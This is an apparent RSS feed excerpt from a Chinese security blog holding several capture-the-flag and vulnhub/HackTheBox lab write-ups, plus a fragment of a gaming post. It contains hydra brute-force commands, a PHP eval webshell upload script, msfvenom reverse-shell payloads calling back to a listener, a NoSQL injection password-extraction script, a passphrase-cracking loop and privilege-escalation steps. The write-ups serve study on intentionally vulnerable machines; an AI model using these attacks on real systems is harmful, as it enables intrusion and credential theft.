&lt;p&gt;*　　-b #体积大小，比如后跟20mib&lt;br /&gt;
*　　-c #密码个数（行数），比如8000&lt;br /&gt;
*　　-d #限制出现相同元素的个数（即至少出现元素个数），-d 3就不会出现zzf ffffgggg之类的&lt;br /&gt;
*　　-e #定义停止生成密码 ，比如-e 222222：到222222停止生成密码&lt;br /&gt;
*　　-f #调用密码库文件，比如/usr/share/crunch/charset.lst&lt;br /&gt;
*　　-i #改变输出格式&lt;br /&gt;
*　　-l #与-t搭配使用&lt;br /&gt;
*　　-m #与-p搭配使用&lt;br /&gt;
*　　-o #保存为&lt;br /&gt;
*　　-p #定义密码元素&lt;br /&gt;
*　　-q #读取字典&lt;br /&gt;
*　　-r #定义从某一个地方重新开始&lt;br /&gt;
*　　-s #第一个密码，从xxx开始&lt;br /&gt;
*　　-t #定义输出格式&lt;/p&gt;
&lt;p&gt;hydra爆破的用法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;破解ssh&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;破解ftp&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;hydra ip ftp -l 用户名 -P 密码字典 -t线程(默认16) -vV&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;破解rdp&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;hydra ip rdp -l administrator -P pass.txt -V&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;破解telnet&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当然这里我们直接社工吧。。hacker123&lt;/p&gt;
&lt;h2&gt;任务三 使用ssh登陆&lt;/h2&gt;
&lt;p&gt;不说了。。ssh命令了解一下即可&lt;/p&gt;
&lt;h2&gt;任务四 获取目标网站的webshell权限，控制目标机，获得敏感信息&lt;/h2&gt;
&lt;p&gt;这是exponent cms的漏洞，百度就知道了&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anquanke.com/post/id/84514&quot;&gt;https://www.anquanke.com/post/id/84514&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;简单来说就是对上传没做过滤可以任意文件上传，但是上传之后就会被删掉&lt;/p&gt;
&lt;p&gt;(看上去挺安全的，其实23333，引狼入室犯了安全大忌)&lt;/p&gt;
&lt;p&gt;在判断的时候，可以通过修改参数来实现绕过删除&lt;/p&gt;
&lt;p&gt;绕过删除之后，由于文件被重命名了，所以需要爆破一下文件名，使用脚本能够比较方便的完成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
base_url=&apos;http://192.168.1.4/&apos;
url_for_time=&apos;index.php?module=eventregistration&amp;amp;action=eventsCalendar&apos;
url_for_upload=&apos;index.php?module=eventregistration&amp;amp;action=emailRegistrants&amp;amp;email_addresses=123456789@123.com&amp;amp;email_message=1&amp;amp;email_subject=1&apos;

files={&apos;attach&apos;:open(&apos;index.php&apos;,&apos;rb&apos;)}

requests.post(base_url+url_for_upload,files=files)

print &apos;upload finish&apos;

r=requests.get(base_url+url_for_time)
html1=r.content
#print html1
index=r.content.find(&apos;History.pushState&apos;)
if index:
    time=html1[index:index+60].split(&apos;rel&apos;)[1].split(&apos;\&apos;&apos;)[1]
else:
    print &apos;something wrong&apos;
    exit(0)
print &quot;get time:&quot;+ time

for i in range(int(time),int(time)-20,-1):
    shell_url=base_url+&apos;tmp/&apos;+str(i)+&apos;_index.php&apos;
    r2=requests.get(shell_url)
    if r2.status_code==200:
        print &quot;shell is here : &quot;+shell_url
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;准备一个index.php&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@simpleedu:~# cat index.php
&amp;lt;?php
eval($_REQUEST[cmd]);
phpinfo();?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(为了验证上传成功，多加个phpinfo())&lt;/p&gt;
&lt;p&gt;自动上传，爆破得到文件名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583828526162.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后就是添加用户，将用户添加到用户组&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net user hacker Beijing123 /add
net localgroup administrators hacker /add
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看一下端口开放情况&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583828518473.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里。。比较坑的就是远程桌面并不是3389，而是。。。35155&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rdesktop 192.168.1.4:35155
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接之后即可，发现 &lt;code&gt;2.key&lt;/code&gt; 文件，给它添加一个用户即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583828819591.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;太卡了就不演示了&lt;/p&gt;
&lt;h2&gt;ps 使用metasploit做法&lt;/h2&gt;
&lt;p&gt;一开始由于找不到图形界面，所以只能用命令行去刚。最后还是屈服了(GUI真香)&lt;/p&gt;
&lt;p&gt;msfvenom生成php马&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f raw  -o index.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583829091269.png&quot; alt=&quot;成功弹到shell&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然而美中不足的是权限不够，所以需要再生成一个Windows的木马反弹一次。。&lt;/p&gt;
&lt;p&gt;重新开始监听，换一个payload&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583829313717.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;msfvenom 生成shell.exe&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f exe -o shell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;传一下shell.exe&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583829335497.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;执行，成功反弹&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583829371796.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然这样也能获得管理员权限，但是还是没法读文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583829406417.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也就是记录一下msf的强大&lt;/p&gt;
</content:encoded></item><item><title>文明六玩后感</title><link>https://rayepeng.net/posts/%E6%96%87%E6%98%8E%E5%85%AD%E7%8E%A9%E5%90%8E%E6%84%9F/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%96%87%E6%98%8E%E5%85%AD%E7%8E%A9%E5%90%8E%E6%84%9F/</guid><pubDate>Wed, 04 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;完了一段的时间的文明六，（虽然才48个小时&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583294758274.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;总体感觉&lt;/h2&gt;
&lt;p&gt;一开始玩这个游戏有点不知所措，因为这个游戏的信息量实在是太大了，后来慢慢地从别人的视频中才逐渐的熟悉起来。&lt;/p&gt;
&lt;p&gt;文明六大概分为几个部分吧，首先是最基本的城市，可以建造区域，练兵，造工人，开拓者。然后是&lt;/p&gt;
</content:encoded></item><item><title>vulnhub靶机渗透-DC-8</title><link>https://rayepeng.net/posts/vulnhub%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F-dc-8/</link><guid isPermaLink="true">https://rayepeng.net/posts/vulnhub%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F-dc-8/</guid><pubDate>Mon, 02 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;nmap扫描结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE  VERSION
22/tcp open  ssh      OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open  ssl/http Apache
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache
|_http-title: Welcome to DC-8 | DC-8
MAC Address: 08:00:27:A8:B6:73 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开80端口发现是drupal,扫描到后台 &lt;a href=&quot;http://192.168.56.102/user&quot;&gt;http://192.168.56.102/user&lt;/a&gt; ，并且发现了可疑注入点&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583216887452.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sqlmap注入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583217015158.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到用户名和密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-------+---------------------------------------------------------+
| name  | pass                                                    |
+-------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john  | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-------+---------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过密码是hash过的，使用john爆破，只有 &lt;code&gt;john&lt;/code&gt; 用户的密码可以爆破出来 &lt;code&gt;turtle&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;后台getshell&lt;/h2&gt;
&lt;p&gt;修改页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583217110935.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.1 lport=4444 -f raw  -o shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成 shell ，修改&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583217170125.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;修改完之后，提交表单&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583217222343.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功getshell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583217261982.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;提权&lt;/h2&gt;
&lt;p&gt;寻找 SUID&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@dc-8:/tmp$ find / -perm -u=s -type f 2&amp;gt;/dev/null 
find / -perm -u=s -type f 2&amp;gt;/dev/null                     
/usr/bin/chfn                                             
/usr/bin/gpasswd                                          
/usr/bin/chsh                                             
/usr/bin/passwd                                           
/usr/bin/sudo                                             
/usr/bin/newgrp                                           
/usr/sbin/exim4                                           
/usr/lib/openssh/ssh-keysign                              
/usr/lib/eject/dmcrypt-get-device                         
/usr/lib/dbus-1.0/dbus-daemon-launch-helper               
/bin/ping                                                 
/bin/su                                                   
/bin/umount                                               
/bin/mount
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现了 &lt;code&gt;exim4&lt;/code&gt; ,这是一个邮件程序&lt;/p&gt;
&lt;p&gt;搜索相关的 exploit&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583217430342.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将 &lt;code&gt;46996.sh&lt;/code&gt; 上传到靶机上，注意需要修改一下文件格式为 &lt;code&gt;unix&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set ff=unix
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583217742979.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583217755873.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>HTB Traverxec靶机实战</title><link>https://rayepeng.net/posts/htb-traverxec%E9%9D%B6%E6%9C%BA%E5%AE%9E%E6%88%98/</link><guid isPermaLink="true">https://rayepeng.net/posts/htb-traverxec%E9%9D%B6%E6%9C%BA%E5%AE%9E%E6%88%98/</guid><pubDate>Sat, 29 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;22号端口和80号端口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582966595850.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到http的信息是 &lt;code&gt;nostromo&lt;/code&gt;,msf搜索exploit直接打&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582966633536.png&quot; alt=&quot;成功得到meterpreter&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;user flag&lt;/h2&gt;
&lt;p&gt;由于是 &lt;code&gt;nostromo&lt;/code&gt; 搭建的，根目录 在 &lt;code&gt;/var/nostromo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582966671887.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查找conf目录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582966693102.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看配置文件 &lt;code&gt;nhttpd.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582966726837.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现根目录是在 public_www 下&lt;br /&gt;
是在家目录下，这个权限配置很有意思，你只能进去却看不到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582966745190.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载压缩包下来 &lt;code&gt;/home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;解压之后就得到了私钥，但是尝试登陆还是需要密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582966789646.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里就需要爆破了&lt;/p&gt;
&lt;p&gt;可以使用john，首先需要 &lt;code&gt;python ssh2john.py id_rsa &amp;gt; rsacrack&lt;/code&gt; 转一下。但是这种方式太慢了，换一种，折耳根payload记一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /usr/share/john/password.lst | while read pass; do if ssh-keygen -c -C &quot;david@10.10.10.165&quot; -P $pass -f id_rsa &amp;amp;&amp;gt;/dev/null; then echo $pass; break; fi; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582966833790.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后登陆 密码是 hunter&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582966848699.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;david@traverxec:~$ cat user.txt
7db0b48469606a42cec20750d9782f3d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;h2&gt;提权&lt;/h2&gt;
&lt;p&gt;看到一个文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;david@traverxec:~/bin$ cat server-stats.head                                           
                                                                          .----.       
                                                              .---------. | == |       
   Webserver Statistics and Data                              |.-&quot;&quot;&quot;&quot;&quot;-.| |----|       
         Collection Script                                    ||       || | == |       
          (c) David, 2019                                     ||       || |----|       
                                                              |&apos;-.....-&apos;| |::::|       
                                                              &apos;&quot;&quot;)---(&quot;&quot;&apos; |___.|       
                                                             /:::::::::::\&quot;    &quot;       
                                                            /:::=======:::\            
                                                        jgs &apos;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&apos;            
                                                                                       
david@traverxec:~/bin$ cat server-stats.sh                                             
#!/bin/bash                                                                            
                                                                                       
cat /home/david/bin/server-stats.head                                                  
echo &quot;Load: `/usr/bin/uptime`&quot;                                                         
echo &quot; &quot;                                                                               
echo &quot;Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`&quot;               
echo &quot;Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`&quot;    
echo &quot; &quot;                                                                               
echo &quot;Last 5 journal log lines:&quot;                                                       
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现 &lt;code&gt;journalctl&lt;/code&gt; 是用sudo执行的&lt;/p&gt;
&lt;p&gt;提权： &lt;code&gt;/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# cat root.txt9aa36a6d76f785dfd320a478f6e0d906
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582966978146.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;整体下来感觉还行，还是要扩大知识面&lt;/p&gt;
</content:encoded></item><item><title>HTB mango靶机实战</title><link>https://rayepeng.net/posts/htb-mango%E9%9D%B6%E6%9C%BA%E5%AE%9E%E6%88%98/</link><guid isPermaLink="true">https://rayepeng.net/posts/htb-mango%E9%9D%B6%E6%9C%BA%E5%AE%9E%E6%88%98/</guid><pubDate>Sat, 29 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;22端口，80端口，443端口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582967083509.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里改一下host&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;staging-order.mango.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问网站&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582967236329.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;user flag&lt;/h2&gt;
&lt;p&gt;有点坑，是mongodb，nosql注入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582967256341.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;参考爆破脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python  





  

url = &quot;http://staging-order.mango.htb/index.php&quot;  

headers = {&quot;Host&quot;: &quot;staging-order.mango.htb&quot;}  

cookies = {&quot;PHPSESSID&quot;: &quot;9k6j39np56td4vq3q4lg4eh95j&quot;}  

possible_chars = list(string.ascii_letters) + list(string.digits) + [&quot;\\&quot;+c for c in string.punctuation+string.whitespace ]  

def get_password(username):  

    print(&quot;Extracting password of &quot; + username)  

    params = {&quot;username&quot;:username, &quot;password[$regex]&quot;:&quot;&quot;, &quot;login&quot;: &quot;login&quot;}  

    password = &quot;^&quot;  

    while True:  

        for c in possible_chars:  

            params[&quot;password[$regex]&quot;] = password + c + &quot;.*&quot;  

            pr = requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False)  

            if int(pr.status_code) == 302:  

                password += c  

                break  

        if c == possible_chars[-1]:  

            print (&quot;Found password &quot;+password[1:].replace(&quot;\\&quot;, &quot;&quot;)+&quot; for username &quot;+username)  

            return password[1:].replace(&quot;\\&quot;, &quot;&quot;)  

  

def get_usernames():  

    usernames = []  

    params = {&quot;username[$regex]&quot;:&quot;&quot;, &quot;password[$regex]&quot;:&quot;.*&quot;, &quot;login&quot;: &quot;login&quot;}  

    for c in possible_chars:  

        username = &quot;^&quot; + c  

        params[&quot;username[$regex]&quot;] = username + &quot;.*&quot;  

        pr = requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False)  

        if int(pr.status_code) == 302:  

            print(&quot;Found username starting with &quot;+c)  

            while True:  

                for c2 in possible_chars:  

                    params[&quot;username[$regex]&quot;] = username + c2 + &quot;.*&quot;  

                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False).status_code) == 302:  

                        username += c2  

                        print(username)  

                        break  

                if c2 == possible_chars[-1]:  

                    print(&quot;Found username: &quot; +username[1:])  

                    usernames.append(username[1:])  

                    break  

    return usernames  

for u in get_usernames():  

    get_password(u)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;爆出密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582967279320.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Found username: mango
Extracting password of admin
Found password t9KcS3&amp;gt;!0B#2 for username admin
Extracting password of mango
Found password h3mXK8RhU~f{]f5H for username mango
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用mango用户登陆&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582967292499.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;切换为admin&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582967301413.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;userflag

$ cat user.txt
79bf31c6c6eb38a8567832f7f8b47e92
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;root flag&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; 试一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582967336806.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -user root -perm -4000 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;寻找SUID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582967364061.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据&lt;a href=&quot;https://gtfobins.github.io/gtfobins/jjs/%E5%8F%AF%E7%9B%B4%E6%8E%A5%E8%AF%BB%E5%8F%96%E5%88%B0root.txt&quot;&gt;https://gtfobins.github.io/gtfobins/jjs/可直接读取到root.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582967372531.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Warning: The jjs tool is planned to be removed from a future JDK release
jjs&amp;gt; var BufferedReader = Java.type(&quot;java.io.BufferedReader&quot;);
jjs&amp;gt; var FileReader = Java.type(&quot;java.io.FIleReader&quot;);
java.lang.RuntimeException: java.lang.ClassNotFoundException: java.io.FIleReader
jjs&amp;gt; var FileReader = Java.type(&quot;java.io.FileReader&quot;);
jjs&amp;gt; var br = new BufferedReader(new FileReader(&quot;/root/root.txt&quot;));
jjs&amp;gt; while((line=br.readline())!=null){print(line);}
&amp;lt;shell&amp;gt;:1 TypeError: br.readline is not a function
jjs&amp;gt; while((line=br.readLine())!=null){print(line);}
8a8ef79a7a2fbb01ea81688424e9ab15
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>vulnhub靶机渗透-Connectthedots</title><link>https://rayepeng.net/posts/vulnhub%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F-connectthedots/</link><guid isPermaLink="true">https://rayepeng.net/posts/vulnhub%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F-connectthedots/</guid><pubDate>Mon, 10 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机渗透-Connectthedots&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;这个靶机比较脑洞，但是最后的提权过程挺有意思的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;目标：/home/user.txt and /root/root.txt&lt;/p&gt;
&lt;h2&gt;环境准备&lt;/h2&gt;
&lt;p&gt;由于VMware会出现种种问题，于是改成了Virtual Box,而且Vulhub上的大部分靶机都是使用Virtual Box制作的&lt;/p&gt;
&lt;p&gt;附上一些相关的配置截图：&lt;/p&gt;
&lt;p&gt;kali 2019.04&lt;br /&gt;
第一块网卡没做修改&lt;/p&gt;
&lt;p&gt;添加了第二块网卡&lt;br /&gt;
&lt;img src=&quot;./attachments/1576475770757.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;vulnhub靶机渗透-Connectthedots作为靶机，同样添加了第二块网卡&lt;/p&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;kali IP ： 192.168.99.101&lt;br /&gt;
&lt;img src=&quot;./attachments/1576475827530.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过nmap发现另一台主机(注意netdiscover和arp-scan都无法使用了)&lt;br /&gt;
&lt;img src=&quot;./attachments/1576475870118.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;主机开放的所有服务：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576476412907.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一个个来看&lt;/p&gt;
&lt;h2&gt;21端口&lt;/h2&gt;
&lt;p&gt;vsftp 服务， metasploit搜索payload&lt;/p&gt;
&lt;p&gt;返回的信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 exploit(unix/ftp/vsftpd_234_backdoor) &amp;gt; exploit 

[*] 192.168.99.104:21 - Banner: 220 Welcome to Heaven!
[*] 192.168.99.104:21 - USER: 530 Permission denied.
[-] 192.168.99.104:21 - This server is configured for anonymous only and the backdoor code cannot be reached
[*] Exploit completed, but no session was created.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试匿名登陆没有成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576476598073.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;p&gt;目录遍历：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1575977787813.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
扫描结果有两个index页面，查看其中一个发现：&lt;/p&gt;
&lt;p&gt;发现了注释&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1575977822127.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问发现是一个登陆页面，发现这个登陆页面并不会有数据包，是个静态页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576476010899.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后访问 &lt;code&gt;/mysite&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;./attachments/1575977851454.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看文件后发现&lt;br /&gt;
&lt;img src=&quot;./attachments/1575977868784.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是jsfuck编码&lt;/p&gt;
&lt;p&gt;jsfuck解码网站 &lt;a href=&quot;http://www.jsfuck.com/#&quot;&gt;http://www.jsfuck.com/#&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;也可以直接用浏览器的控制台解码&lt;/p&gt;
&lt;p&gt;可以将其复制到浏览器的控制台：&lt;br /&gt;
然后输入：&lt;br /&gt;
&lt;img src=&quot;./attachments/1575977938119.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样可以免去手动复制粘贴的麻烦&lt;/p&gt;
&lt;p&gt;得到结果：&lt;br /&gt;
&lt;img src=&quot;./attachments/1575977956725.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
